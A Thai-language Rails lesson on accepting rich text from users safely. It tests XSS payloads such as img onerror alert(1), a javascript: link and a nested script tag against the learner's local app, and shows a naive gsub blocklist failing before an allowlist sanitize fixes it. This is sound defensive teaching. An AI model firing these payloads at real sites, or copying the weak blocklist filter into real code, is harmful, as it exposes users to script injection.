บทเรียน 136 · Rails · Day 4 Part 1

Rich text — ให้ผู้ใช้จัดตัวหนาได้ โดยไม่เปิดช่องให้รัน JavaScript

~25 นาที · ควรผ่าน บทเรียน 125 (XSS · sanitize) และจบ Day 3 (บทเรียน 135) มาก่อน

บทความในเว็บของเราตอนนี้เป็นตัวหนังสือล้วน · ถ้าอยากให้คนเขียนทำตัวหนา ใส่ลิงก์ได้ เราต้องยอมรับ HTML จากผู้ใช้ — ซึ่งเป็นประตูเดียวกับที่คนร้ายใช้ฝังโปรแกรม
อ่านจบบทนี้ คุณจะอธิบายได้ว่าทำไม "รายการของที่อนุญาต" ปลอดภัยกว่า "รายการของที่ห้าม" · ใช้ sanitize ใน view ให้เหลือแค่แท็กที่ต้องการ · รู้ว่าทำไม Rails ตรวจตอนโชว์ ไม่ใช่ตอนบันทึก · และรู้ว่าควรเก็บเนื้อหาเป็น HTML หรือ Markdown ก่อนไปติดตั้งของจริงในบท 137

🔁 ทวนก่อนเริ่ม — คำพวกนี้จะโผล่ในบทนี้

🧰 เวอร์ชันที่ใช้ตรวจ: Ruby 4.0.9 · Rails 8.1.4 · PostgreSQL 18 · Chrome (สั่งด้วยสคริปต์) — สไลด์และ repo ของอาจารย์เขียน Ruby 4.0.5–4.0.6 · Rails 8.1.3 เรื่องในบทนี้ไม่ต่างกัน
📍 โค้ดเริ่มจาก: ตอนจบ Day 3 (บท 135) บน branch my-day3 ที่ commit แล้ว (git status --short ว่าง) · หมวด 5 · บทความ 30 ชิ้น · บทนี้ทดลองแล้วคืนทิ้งตอนจบด้วย git restore — ยังไม่ติดตั้งอะไรเพิ่ม ของจริง (Action Text) เริ่มในบท 137
🖥 เปิดค้างไว้: docker compose up -d (ฐานข้อมูล) · bin/dev หนึ่งหน้าต่าง (เว็บที่ localhost:3000) · อีกหน้าต่างไว้พิมพ์คำสั่ง · ผลรันทุกกล่องมาจากเครื่องจริง · เวลา ms · วันเวลา · เลข 0x… · id ของบทความ ของคุณอาจไม่ตรงกับในบท

แผนที่ของ Part 1 — 3 บล็อก และ 3 ประโยคของวัน

Day 3 เราทำให้แอปเป็นหน้าเว็บ (หน้าตา · ขยับได้) · ชุดนี้ทำให้มันเป็นของที่เปิดให้คนใช้จริงได้ · เปิดสไลด์ดูจะเห็นป้าย "DAY 3" และคำว่า "Part 2" — เพราะอาจารย์วางชุดนี้ไว้เป็นครึ่งบ่ายของ Day 3 แล้วย้ายมาเรียนวันนี้ · ไม่ต้องสนใจป้าย เว็บนี้เรียกว่า Day 4 Part 1

บทบล็อกทำอะไร (ภาษาคน · ภาพร้านอาหาร)
136–141D · Rich text + ไฟล์ให้คนเขียนบทความจัดตัวหนาได้ และแนบรูปปกได้ · ไฟล์ไปเก็บโกดังรับฝากของนอกร้าน ไม่ใช่ในครัว
142–145E · งานเบื้องหลังตั้งเวลาเผยแพร่บทความ · งานที่ลูกค้าไม่ต้องยืนรอ ทำเป็นใบงานหลังร้าน (ล้างจาน · ส่งของ) แทน
146–148F · Cachingทำหน้าแรกให้เร็ว · จานที่จัดเสร็จวางในตู้อุ่น ลูกค้าคนต่อไปหยิบได้เลย ไม่ต้องจัดใหม่

ลำดับนี้ตั้งใจ (สไลด์หน้า 2): ใส่เนื้อหาหนัก ๆ (รูป + rich text) ก่อน หน้าแรกจะได้ช้าจริง ๆ แล้วบล็อก F ค่อยแก้ปัญหาที่เราสร้างเองกับมือ · จบ Part 1 โฟลเดอร์ prompts/ จะมี 7 ไฟล์ (ตอนนี้มี 4: 00–03)

Day 3 บท 120 ให้จำ 3 ประโยคไว้ก่อน · ตอนนี้ถึงเวลาของข้อ ② ③ แล้ว:

#ประโยคภาษาคนเจอเต็ม ๆ
①เว็บ interactive ไม่จำเป็นต้องมี state สองชุดทวน — ครัวถือสมุดสต็อกเล่มเดียว โต๊ะลูกค้าไม่ต้องจดเล่มที่สอง (Turbo ทั้ง Day 3)Day 3 จบแล้ว
②exactly-once ไม่มีอยู่จริง ออกแบบให้ทำซ้ำได้แทนไม่มีใครรับประกันได้ว่างานจะถูกทำ "ครั้งเดียวพอดี" · พนักงานอาจส่งของซ้ำ → ทำงานให้ทำซ้ำแล้วผลเหมือนเดิม (เคยเห็นใน seeds บท 120 และ Go บท 36)บล็อก E
③อย่า invalidate cache ให้ key เปลี่ยนแทนcache = สำเนาของผลที่ทำเสร็จแล้ว เก็บไว้หยิบซ้ำ · อย่าไล่ทิ้งสำเนาเก่า (invalidate = ประกาศว่าสำเนานี้ใช้ไม่ได้แล้ว) · ติดเลขรุ่นใหม่ แทน ของเก่าไม่มีใครหยิบเอง (เคยเห็นใน fingerprinting บท 127)บล็อก F

ของสองอย่างที่ผู้ใช้ใส่เข้ามา — แล้ว rich text คืออะไร

บล็อก D ว่าด้วยของสองอย่างที่ผู้ใช้เป็นคนใส่เข้ามา: ข้อความที่จัดรูปแบบได้ (บทนี้ + 137) กับไฟล์ (บท 138–140) · สไลด์หน้า 3 สรุปไว้ประโยคเดียว: ของที่ผู้ใช้ใส่เข้ามา เชื่อไม่ได้ทั้งคู่

rich text คือข้อความที่มีรูปแบบ — ตัวหนา ตัวเอียง ลิงก์ หัวข้อ รายการข้อ ๆ · นึกถึงช่องเขียนอีเมลใน Gmail หรือ Google Docs ที่มีปุ่ม B I ด้านบน · กดปุ่ม B แล้วพิมพ์ ข้อความก็หนาทันที

เบื้องหลังปุ่มพวกนั้นคือ HTML · กดตัวหนา = editor (ช่องพิมพ์แบบมีปุ่ม) แอบเขียน <strong>อร่อย</strong> ให้ · แปลว่าถ้าเว็บเรามี rich text เราต้องเก็บ HTML ที่มาจากผู้ใช้ แล้วเอาไปโชว์ให้คนอื่นดู

🎂 เทียบให้เห็นภาพ — ข้อความบนหน้าเค้กที่ลูกค้าเขียนเอง

ร้านเรารับทำเค้กที่ลูกค้าเขียนข้อความบนหน้าเค้กเอง · ข้อความธรรมดา (ช่อง title เดิม) เราเขียนให้ตามที่สั่งทุกตัวอักษร · แต่ลูกค้าอยากได้มากกว่านั้น: "คำว่าอร่อยขอตัวใหญ่สีทอง" — นี่คือ rich text · ถ้าเรายอมให้ลูกค้าเอาของตกแต่งมาวางเองได้ทุกอย่าง วันหนึ่งจะมีคนเอาประทัดมาวาง แล้วเค้กชิ้นนั้นถูกเสิร์ฟให้ทุกโต๊ะ

ที่ไม่เหมือนกัน: คนกินเค้กยังมองเห็นประทัดแล้วหยิบออกได้ · เบราว์เซอร์ไม่ดูเลย มันทำตาม HTML ทุกคำสั่งทันที และหน้าเว็บหน้าเดียวถูกเปิดโดยคนนับร้อย — ของต้องห้ามหนึ่งชิ้นจึงโดนทุกคนที่เปิดหน้านั้น

เทียบกับ React (บท 125 เล่าไว้): {post.title} ใน JSX escape ให้เองเหมือน <%= %> · จะโชว์ HTML ของผู้ใช้ได้ต้องพิมพ์ dangerouslySetInnerHTML — โลก React ก็เจอคำถามเดียวกับบทนี้ทุกเว็บที่มี rich text

🗣 ศัพท์ที่เพิ่งเรียนไป
rich text
ข้อความที่มีรูปแบบ (ตัวหนา ลิงก์ หัวข้อ) · เก็บเป็น HTML หรือ Markdown (หัวข้อท้ายบท) · ตรงข้ามกับ plain text = ตัวหนังสือล้วน · ถาม senior ได้ว่า "ช่องไหนในระบบเราที่รับ rich text จากผู้ใช้บ้าง แล้วกรองที่ไหน"
WYSIWYG editor
ย่อจาก "What You See Is What You Get" = ช่องพิมพ์ที่เห็นผลทันทีแบบ Google Docs · มันสร้าง HTML ให้เบื้องหลัง · พิมพ์บอก AI ได้ว่า "the body field uses a WYSIWYG editor; treat its HTML as untrusted user input"

ลองแบบ escape ทั้งหมด — ผู้ใช้จะเห็นแท็กเป็นตัวหนังสือ

ทางที่ง่ายที่สุดคือ "ไม่ยอมรับ HTML เลย" — ซึ่งแอปเราทำอยู่แล้วเพราะ <%= %> escape ทุกอย่าง · ลองดูว่าผู้ใช้จะเห็นอะไร · เปิด bin/rails console แล้วสร้างบทความที่ชื่อมีตัวหนา และคำอธิบายมีทั้งของดีของร้ายปนกัน:

wongnok-blog-all-in-one(dev):001> post = Post.create!(title: "ข้าวซอยร้านนี้ <strong>อร่อย</strong>", description: 'น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)">', category: Category.first)
  Category Load (0.5ms)  SELECT "categories".* FROM "categories" ORDER BY "categories"."id" ASC LIMIT 1 /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.3ms)  BEGIN /*application='WongnokBlogAllInOne'*/
  Post Create (0.9ms)  INSERT INTO "posts" ("title", "description", "category_id", "created_at", "updated_at") VALUES ('ข้าวซอยร้านนี้ <strong>อร่อย</strong>', 'น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)">', 1, '2026-11-10 02:47:41.008443', '2026-11-10 02:47:41.008443') RETURNING "id" /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.7ms)  COMMIT /*application='WongnokBlogAllInOne'*/
=>
#<Post:0x000000012861fbb0
...
wongnok-blog-all-in-one(dev):002> post.id
=> 31

⚠️ ลองได้เฉพาะแอปในเครื่องตัวเองเท่านั้น — การฝังโค้ดลงเว็บของคนอื่น (แม้แค่ alert) คือการเจาะระบบ ผิดกฎหมาย

ดูว่าหน้าบทความส่ง HTML อะไรออกไป · | แปลว่า "ส่งผลของคำสั่งซ้ายไปให้คำสั่งขวา" → เอา HTML ทั้งหน้าไปให้ grep (บท 125) เลือกเฉพาะบรรทัดหัวข้อ (card-title text-3xl) กับบรรทัดคำอธิบาย (leading-relaxed) · \| ตรงกลางแปลว่า "หรือ" (เอาบรรทัดที่มีคำแรก หรือคำที่สอง):

$ curl -s localhost:3000/posts/31 | grep "card-title text-3xl\|leading-relaxed"
          <h1 class="card-title text-3xl">ข้าวซอยร้านนี้ &lt;strong&gt;อร่อย&lt;/strong&gt;</h1>
</turbo-frame>      <p class="leading-relaxed whitespace-pre-line">น้ำแกง&lt;strong&gt;เข้มข้น&lt;/strong&gt; ดูร้านอื่นที่&lt;a href=&quot;/posts&quot;&gt;หน้ารวม&lt;/a&gt;&lt;img src=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;</p>

ปลอดภัย 100% แต่ผู้ใช้เห็นแท็กเป็นตัวหนังสือ — นี่ไม่ใช่ rich text แล้ว · ส่วนอีกขั้วหนึ่ง ผมลองแก้บรรทัดคำอธิบายใน _post.html.erb เป็น raw post.description แล้วเปิดใน Chrome: ตัวหนาขึ้นจริง ลิงก์ขึ้นจริง และ alert ของ onerror ทำงาน (แล้วคืนไฟล์ทันที) · สไลด์หน้า 4 จึงบอกว่า คำถามไม่ใช่ "จะกันไหม" แต่เป็น "จะปล่อยอะไรผ่านบ้าง"

allowlist กับ blocklist — ผิดแบบไหนเจ็บกว่า

มีสองวิธีเขียน "กฎว่าอะไรผ่าน":

ลอง blocklist แบบที่คนส่วนใหญ่คิดได้ก่อน: "ลบคำว่า <script> ทิ้ง" · .gsub("<script>", "") คือ method ของข้อความใน Ruby แปลว่า "หาคำนี้ทุกที่ แล้วแทนด้วยข้อความว่าง" (= ลบทิ้ง)

wongnok-blog-all-in-one(dev):001> "<script>alert(1)</script>สวัสดี".gsub("<script>", "")
wongnok-blog-all-in-one(dev):002> '<img src="x" onerror="alert(1)">'.gsub("<script>", "")
wongnok-blog-all-in-one(dev):003> "<sc<script>ript>alert(1)</script>".gsub("<script>", "")

ตัวกรองนี้กันได้กี่บรรทัดจาก 3 บรรทัด? บรรทัด 3 ดูแปลก ๆ — ลองไล่ด้วยมือว่าลบ <script> ตรงกลางออกแล้วเหลืออะไร

ผลจริง:

wongnok-blog-all-in-one(dev):001> "<script>alert(1)</script>สวัสดี".gsub("<script>", "")
=> "alert(1)</script>สวัสดี"
wongnok-blog-all-in-one(dev):002> '<img src="x" onerror="alert(1)">'.gsub("<script>", "")
=> "<img src=\"x\" onerror=\"alert(1)\">"
wongnok-blog-all-in-one(dev):003> "<sc<script>ript>alert(1)</script>".gsub("<script>", "")
=> "<script>alert(1)</script>"
  • บรรทัด 1 — กันได้ (เหลือ </script> เปล่า ๆ ที่ไม่มีตัวเปิด ไม่ทำอะไร)
  • บรรทัด 2 — หลุดทั้งก้อน เพราะไม่มีคำว่า <script> ให้ลบ · คนเขียนตัวกรองลืมนึกถึง onerror · (\" = วิธีที่ console โชว์ " ในข้อความ)
  • บรรทัด 3 — ตัวกรองสร้าง <script> ขึ้นมาเอง: ลบ <script> ตรงกลาง <sc|<script>|ript> ทิ้ง ชิ้นซ้ายขวาเลยมาต่อกันพอดี · ตัวอย่างนี้มาจากเอกสารความปลอดภัยของ Rails เอง

กันได้ 1 ใน 3 · และวิธีหลบแบบอื่นยังมีอีกมาก (onclick · onmouseover · <svg onload> …) — blocklist ต้องรู้ทุกท่าของคนร้าย ซึ่งเป็นไปไม่ได้

ทีนี้ส่งของร้ายชิ้นเดียวกันให้ sanitize (ใช้ allowlist) — ผลจริง:

wongnok-blog-all-in-one(dev):004> helper.sanitize('<img src="x" onerror="alert(1)">')
=> "<img src=\"x\">"
wongnok-blog-all-in-one(dev):005> helper.sanitize('<a href="javascript:alert(1)">กดเลย</a>')
=> "<a>กดเลย</a>"

เทียบความผิดพลาดของสองแบบ (สไลด์หน้า 4) — นี่คือเหตุผลทั้งหมดที่โลกเลือก allowlist:

ลืมใส่อะไรไปหนึ่งอย่างใครเห็นก่อน
allowlistลืมใส่ em → ตัวเอียงไม่ขึ้น (feature ขาด)เรา — เห็นตั้งแต่ตอนลองใช้ แก้ได้ก่อนขึ้นจริง
blocklistลืมใส่ onerror → โค้ดของคนร้ายรันได้ (ระบบถูกเจาะ)คนร้าย — เราไม่รู้ตัวจนกว่าจะโดน
🍰 เทียบให้เห็นภาพ — รายการตัวตกแต่งที่ร้านอนุญาต

ร้านเค้กมีสองแบบ · ร้าน A ติดป้ายรายการของห้ามใส่: "ห้ามประทัด ห้ามไม้ขีด" — ลูกค้าเอาพลุมา ไม่อยู่ในป้าย พนักงานก็ใส่ให้ · ร้าน B ถือรายการตัวตกแต่งที่ร้านอนุญาต: "เม็ดน้ำตาล ช็อกโกแลตชิพ ตัวอักษรสีทอง" — ของที่ไม่อยู่ในรายการไม่ใส่ ไม่ว่ามันคืออะไร · ร้าน B ไม่ต้องรู้จักพลุก็กันพลุได้ ร้าน A ต้องรู้จักของอันตรายทุกชนิดในโลก

ที่ไม่เหมือนกัน: ของนอกรายการในร้านจริงถูกปัดทิ้งทั้งชิ้น · sanitize ถอดแค่แท็กแต่ตัวหนังสือข้างในยังอยู่ (บท 125: <script>alert(1)</script> เหลือ alert(1)) · และมันตรวจทีละ "ส่วนประกอบ" ด้วย — รับ img แต่แกะ onerror ที่ติดมาออก เหมือนรับช็อกโกแลตแต่แกะไส้ที่ไม่อนุญาตทิ้ง

เทียบของที่รู้แล้ว — หลักการเดียวกันเจอมาแล้วหลายรอบ (สไลด์หน้า 4): params.expect (บท 117) = บอกว่าช่องไหนในฟอร์มรับได้ · <%= %> (บท 103/125) = escape ทุกอย่างแล้วค่อยยกเว้นเป็นจุด · วันนี้ sanitize = บอกว่าแท็กไหนผ่านได้ · บท 140 จะบอกว่าไฟล์ชนิดไหนรับได้ — ทั้งหมดคือ allowlist

🗣 ศัพท์ที่เพิ่งเรียนไป
allowlist · blocklist (denylist)
รายการของที่อนุญาต vs รายการของที่ห้าม · เอกสารเก่าใช้คำว่า whitelist/blacklist · คู่มือความปลอดภัยของ Rails เรียก permitted list / restricted list · ถาม senior ได้ว่า "ตรงนี้เรากรองด้วย allowlist หรือ blocklist ถ้าลืมของไปหนึ่งอย่างจะเกิดอะไร"
event handler attribute (onerror · onclick)
ช่องในแท็กที่บอกเบราว์เซอร์ว่า "เมื่อเกิดเหตุการณ์นี้ให้รันโค้ดนี้" · เป็นทางที่ XSS ใช้บ่อยเพราะไม่ต้องมีคำว่า script · พิมพ์บอก AI ได้ว่า "never filter HTML by removing <script>; use an allowlist sanitizer so on* attributes are dropped too"

ใส่ sanitize ลงใน view แล้วบีบรายการให้แคบ

ตอนนี้หน้าบทความโชว์คำอธิบายด้วย <%= post.description %> (escape ทั้งหมด) · เปิด app/views/posts/_post.html.erb หาบรรทัดนี้ (อยู่ในก้อน <% if full %> = ตอนโชว์บทความเต็ม):

      <p class="leading-relaxed whitespace-pre-line"><%= post.description %></p>

แก้เป็น (เติมคำว่า sanitize คำเดียว · ใน view เรียกตรง ๆ ได้เลย ส่วนใน console ต้องมี helper. นำหน้าแบบเมื่อกี้):

      <p class="leading-relaxed whitespace-pre-line"><%= sanitize post.description %></p>

บันทึกไฟล์แล้ว curl ใหม่ · sanitize แบบไม่ตั้งค่าอะไร ใช้รายการเริ่มต้นของ Rails · ตัวหนา ลิงก์ และ <img src="x" onerror="alert(1)"> — ชิ้นไหนรอด ชิ้นไหนหาย?

$ curl -s localhost:3000/posts/31 | grep "leading-relaxed"
</turbo-frame>      <p class="leading-relaxed whitespace-pre-line">น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x"></p>
  • <strong> · <a href="/posts"> — แท็กจริง แล้ว (ไม่มี &lt;) · บนจอ "เข้มข้น" เป็นตัวหนา
  • <img src="x"> — รูปยังอยู่ แต่ onerror หายไป · บนจอเห็นไอคอนรูปแตกเล็ก ๆ · Chrome ยืนยันว่า alert ไม่ทำงาน

ปลอดภัยแล้ว แต่รายการเริ่มต้นกว้างกว่าที่เราต้องการ — ใน Rails 8.1.4 มี 43 แท็ก (รวม img · h1–h6 · div …) · บทความรีวิวร้านอาหารไม่ต้องการรูปที่ผู้ใช้แปะ URL มาเอง

บีบรายการให้เหลือแค่ที่ใช้จริง (แบบสไลด์หน้า 6):

      <p class="leading-relaxed whitespace-pre-line"><%= sanitize post.description, tags: %w[p a strong em], attributes: %w[href] %></p>

บันทึก แล้ว curl อีกรอบ — ผลจริง:

$ curl -s localhost:3000/posts/31 | grep "leading-relaxed"
</turbo-frame>      <p class="leading-relaxed whitespace-pre-line">น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a></p>

<img> หายไปทั้งแท็ก เพราะไม่อยู่ในรายการ 4 คำของเรา · ตัวหนากับลิงก์ยังอยู่ · นี่คือ rich text ที่ปลอดภัย: ผู้ใช้ได้รูปแบบที่ต้องการ และเราคุมได้ว่ารูปแบบไหนบ้าง

⚠️ อย่าเติมแท็กลงรายการเพราะ "ผู้ใช้ขอ" โดยไม่คิด · บท 125 ลองแล้วว่าใส่ script ลงรายการเอง sanitize ก็ปล่อย script ผ่านทั้งก้อน — มันเชื่อรายการของเราเสมอ

sanitize ทำงานตอนโชว์ ไม่ใช่ตอนบันทึก

หน้าเว็บสะอาดแล้ว · แต่ในฐานข้อมูลล่ะ? ถามใน console — ผลจริง:

wongnok-blog-all-in-one(dev):001> Post.find(31).description
  Post Load (0.4ms)  SELECT "posts".* FROM "posts" WHERE "posts"."id" = 31 LIMIT 1 /*application='WongnokBlogAllInOne'*/
=> "น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href=\"/posts\">หน้ารวม</a><img src=\"x\" onerror=\"alert(1)\">"

onerror ยังอยู่ครบ · sanitize ไม่ได้แตะฐานข้อมูลเลย มันกรองระหว่างทางออกไปหน้าเว็บทุกครั้งที่มีคนเปิดหน้า (สไลด์หน้า 6):

ผู้ใช้พิมพ์ ──► บันทึกลง DB ดิบ ๆ ──► sanitize ตอนอ่าน (ใน view) ──► ส่งออกไปหน้าเว็บ ✅ │ └──► ทางอื่นที่ไม่ผ่าน view (JSON · อีเมล · PDF) ──► ของสกปรกหลุดออกไป ❌

ทางอื่นที่ไม่ผ่าน view มีอยู่แล้วในแอปเรา — scaffold สร้างหน้า JSON ไว้ให้ตั้งแต่สร้างโปรเจกต์ (app/views/posts/show.json.jbuilder = แม่พิมพ์ของหน้า JSON บท 118 · เปิดด้วยการต่อ .json ท้าย URL) สำหรับแอปมือถือหรือโปรแกรมอื่นมาดึงข้อมูล · ผลจริง:

$ curl -s localhost:3000/posts/31.json
{"id":31,"title":"ข้าวซอยร้านนี้ \u003cstrong\u003eอร่อย\u003c/strong\u003e","description":"น้ำแกง\u003cstrong\u003eเข้มข้น\u003c/strong\u003e ดูร้านอื่นที่\u003ca href=\"/posts\"\u003eหน้ารวม\u003c/a\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e","category_id":1,"created_at":"2026-11-10T09:47:41.008+07:00","updated_at":"2026-11-10T09:47:41.008+07:00","url":"http://localhost:3000/posts/31.json"}

ลองให้ Ruby ทำตัวเป็นแอปมือถือ: อ่าน JSON แล้วพิมพ์ description ออกมา (ruby -rjson -e '…' = รันโค้ด Ruby บรรทัดเดียวที่โหลดตัวอ่าน JSON ไว้) — ผลจริง:

$ curl -s localhost:3000/posts/31.json | ruby -rjson -e 'puts JSON.parse(STDIN.read)["description"]'
น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)">

ของสกปรกอยู่ใน DB จริง ๆ · จุดที่ปลอดภัยคือ "ตอน render ผ่าน Rails view" เท่านั้น (สไลด์หน้า 6) · ส่งออกทางอื่นเมื่อไหร่ ต้อง sanitize ที่ทางนั้นด้วย

แล้วทำไมไม่กรองตอนบันทึกให้จบ ๆ ไป? เพราะกฎว่าอะไรปลอดภัยเปลี่ยนได้ — มีวิธีหลบใหม่ ๆ ถูกค้นพบทุกปี · กรองตอนบันทึก = ของเก่าที่บันทึกไปแล้วตามกฎเก่าแก้ย้อนหลังไม่ได้ · กรองตอนโชว์ = แก้กฎ (หรือ Rails ออก patch = รุ่นแก้ช่องโหว่) แล้วของเก่าทุกชิ้นปลอดภัยขึ้นทันทีโดยไม่ต้องรัน migration · คุณเพิ่งเห็นกับตาเมื่อกี้: เปลี่ยน view จากรายการเริ่มต้นเป็น 4 แท็ก → <img> ของบทความ 31 หายจากหน้าเว็บทันที ทั้งที่ในฐานข้อมูลไม่ถูกแก้สักตัวอักษร

🍽 เทียบให้เห็นภาพ — ตรวจตอนจัดจาน ไม่ใช่ตอนรับออเดอร์

ร้านเก็บข้อความหน้าเค้กตามที่ลูกค้าส่งมาทุกตัวอักษรไว้ในตู้แฟ้ม · คนจัดจาน (view) ถือรายการตัวตกแต่งที่อนุญาต และตรวจทุกครั้งที่จัดจาน · วันไหนร้านออกกฎใหม่ "เลิกใช้สีผสมอาหารตัวนี้" ออเดอร์เก่าที่เก็บไว้ก็ได้จานตามกฎใหม่ทันที เพราะยังไม่เคยมีใครตัดสินแทนไว้ล่วงหน้า

ที่ไม่เหมือนกัน: ในร้านจริงของที่ถูกแกะทิ้งตอนจัดจานก็หายไปเลย · ในระบบของในตู้ไม่ถูกแตะ · ถ้าวันไหนมีคนตักจากตู้ไปส่งเองโดยไม่ผ่านคนจัดจาน (หน้า JSON · อีเมล · raw) ของต้องห้ามก็ยังอยู่ครบ

🗣 ศัพท์ที่เพิ่งเรียนไป
sanitize on output (render time)
เก็บของดิบ กรองตอนแสดงผลทุกครั้ง — แนวทางของ Rails · ข้อดี: กฎใหม่ใช้กับของเก่าทันที · ข้อเสีย: ทุกทางที่ส่งข้อมูลออกต้องกรองเอง · ถาม senior ได้ว่า "ข้อมูลช่องนี้ถูกส่งออกทางไหนบ้างนอกจากหน้าเว็บ แล้วแต่ละทางกรองไหม"
API response · JSON
ข้อมูลที่ส่งให้โปรแกรมอื่น (แอปมือถือ · frontend อีกตัว) แทนหน้าเว็บ · ไม่ผ่าน view → ไม่ผ่าน sanitize · พิมพ์บอก AI ได้ว่า "description is stored as raw user HTML; the JSON API must sanitize it or send plain text"

เก็บเป็น HTML หรือ Markdown — และปัญหาตอนค้นหา

ต้องตัดสินใจตั้งแต่วันแรก เพราะย้ายทีหลังเจ็บ (สไลด์หน้า 7) · Markdown คือวิธีเขียนรูปแบบด้วยสัญลักษณ์ธรรมดา เช่น **อร่อย** = ตัวหนา · [หน้ารวม](/posts) = ลิงก์ — ไฟล์ prompts/*.md ของเราก็เป็น Markdown

เก็บ HTML (Action Text ทำแบบนี้)เก็บ Markdown
ตอนโชว์โชว์ได้เลย แต่ต้อง sanitize ทุกครั้งต้องแปลงเป็น HTML ทุกครั้ง (หรือ cache ไว้ — บล็อก F)
ช่องพิมพ์editor แบบเห็นผลทันทีทำง่ายeditor แบบเห็นผลทันทีทำยากกว่า
เอาไปใช้ที่อื่นยาก — แอปมือถือต้องจัดการ HTMLง่าย — มือถือ · API · ไฟล์ อ่านรู้เรื่อง
ความปลอดภัยต้อง sanitizeก็ยังต้อง sanitize ผลที่แปลงแล้ว (ดูท้ายตาราง)

สไลด์บอกว่า Markdown "ไม่มีแท็กให้กลัว" — ระวัง · ผมลองตัวแปลง Markdown ที่ติดมากับ Ruby (RDoc) กับข้อความ ร้านนี้ **อร่อย** ตามด้วยบรรทัด <script>alert(1)</script> · ผลคือ <p>ร้านนี้ <strong>อร่อย</strong></p> ตามด้วย <script>alert(1)</script> ตัวจริงผ่านออกมา · อย่างน้อยตัวแปลงที่ลองนี้ยอมให้แทรก HTML ดิบ — เลือกตัวแปลงตัวไหนก็ต้องเช็คก่อนเสมอ

คำแนะนำของสไลด์: เนื้อหาถูกอ่านแค่บนเว็บเรา → เก็บ HTML (Action Text) ไปเลย เร็ว ไม่ต้องคิดมาก · มีแอปมือถือหรือส่งออกไปที่อื่นด้วย → Markdown คุ้มกว่า · (โลก Next.js มีทางที่สาม: MDX = Markdown ที่แปลงเป็นหน้าเว็บตอน build ทีเดียว เหมาะกับเนื้อหาที่ทีมเขียนเองและไม่ค่อยเปลี่ยน)

📋 เทียบให้เห็นภาพ — เก็บเค้กที่แต่งเสร็จ หรือเก็บใบสั่งแต่งเค้ก

เก็บ HTML = เก็บเค้กที่แต่งเสร็จแล้วไว้ทั้งก้อน · เสิร์ฟได้ทันที แต่จะส่งให้สาขาอื่นที่ใช้จานคนละแบบ ต้องรื้อแต่งใหม่ · เก็บ Markdown = เก็บใบสั่งแต่งเค้กที่เขียนด้วยสัญลักษณ์ง่าย ๆ · ทุกครั้งที่เสิร์ฟต้องแต่งใหม่ แต่ส่งไปสาขาไหนก็แต่งตามใบได้

ที่ไม่เหมือนกัน: ใบสั่งในร้านจริงมีแค่คำสั่งแต่ง · ใบสั่ง Markdown แอบแนบของจริง (HTML ดิบ) มาด้วยได้ ตามที่ลองเมื่อกี้ — ต้องมีคนตรวจตอนจัดจานเหมือนเดิม

ปัญหาที่คนลืมคิด: การค้นหา · ถ้าเก็บ HTML แล้วค้นด้วยคำ คำว่า strong · div ที่เป็นชื่อแท็กจะปนมาด้วย · ลองค้นคำว่า strong (ผลจริง):

wongnok-blog-all-in-one(dev):002> Post.where("description ILIKE ?", "%strong%").pluck(:id)
  Post Pluck (2.0ms)  SELECT "posts"."id" FROM "posts" WHERE (description ILIKE '%strong%') /*application='WongnokBlogAllInOne'*/
=> [31]
wongnok-blog-all-in-one(dev):003> helper.strip_tags(Post.find(31).description)
  Post Load (1.2ms)  SELECT "posts".* FROM "posts" WHERE "posts"."id" = 31 LIMIT 1 /*application='WongnokBlogAllInOne'*/
=> "น้ำแกงเข้มข้น ดูร้านอื่นที่หน้ารวม"

ทางแก้ของสไลด์: เก็บอีกช่องเป็นตัวหนังสือล้วน (plain_text) แล้วค้นจากช่องนั้น · บท 137 ทำจริง

🗣 ศัพท์ที่เพิ่งเรียนไป
Markdown · MDX
Markdown = เขียนรูปแบบด้วยสัญลักษณ์ (**หนา** · # หัวข้อ) · MDX = Markdown ที่ใส่ component ของ React ได้ แปลงตอน build · ถาม senior ได้ว่า "เนื้อหานี้จะถูกใช้นอกเว็บไหม ถ้าใช่ เก็บ Markdown ดีกว่าหรือเปล่า"
plain text column (สำหรับค้นหา)
ช่องที่เก็บเนื้อหาแบบถอดแท็กแล้ว ไว้ค้นหา/ตัดเป็นคำโปรย โดยไม่มีชื่อแท็กปน · พิมพ์บอก AI ได้ว่า "store a plain-text copy of the rich text body and search that column, not the HTML"

ต่อไป: ของสำเร็จรูปที่มากับ Rails

ที่ทำในบทนี้เป็นการประกอบเองด้วยมือเพื่อให้เห็นกลไก · ของจริงยังขาด: ช่องพิมพ์แบบมีปุ่ม B (ตอนนี้ต้องพิมพ์แท็กเอง) · ช่อง plain text ไว้ค้นหา · รายการแท็กกลางที่ใช้ทั้งแอป · Rails มีของสำเร็จรูปชื่อ Action Text ที่ทำทั้งหมดนี้ และตรวจตอนโชว์ให้เองแบบที่เพิ่งเรียน — บท 137 ติดตั้งจริง

🎯 ภารกิจ — ทายก่อนว่ากฎ 4 แท็กจะถอดอะไรทิ้ง (~8 นาที)

ทำต่อจากที่เดิม: _post.html.erb ยังเป็น sanitize … tags: %w[p a strong em], attributes: %w[href] และบทความ 31 ยังอยู่

  1. ใน console เปลี่ยนคำอธิบายของบทความล่าสุดเป็นข้อความใหม่ที่มีหัวข้อ <h2> · ตัวเอียง <em> · และลิงก์ที่แอบมี onclick:
    wongnok-blog-all-in-one(dev):001> post = Post.last
    wongnok-blog-all-in-one(dev):002> post.update!(description: '<h2>เมนูแนะนำ</h2>ข้าวซอย<em>ไก่</em> <a href="/posts" onclick="alert(1)">ดูร้านอื่น</a>')
    (Post.last = บทความที่ id มากที่สุด = ชิ้นที่เราสร้าง · update! = แก้แล้วบันทึก บท 110)
  2. ก่อนรัน curl เขียนลงกระดาษ: แท็กไหนรอด · แท็กไหนหายแต่ตัวหนังสือยังอยู่ · ช่องไหนในแท็กถูกตัด
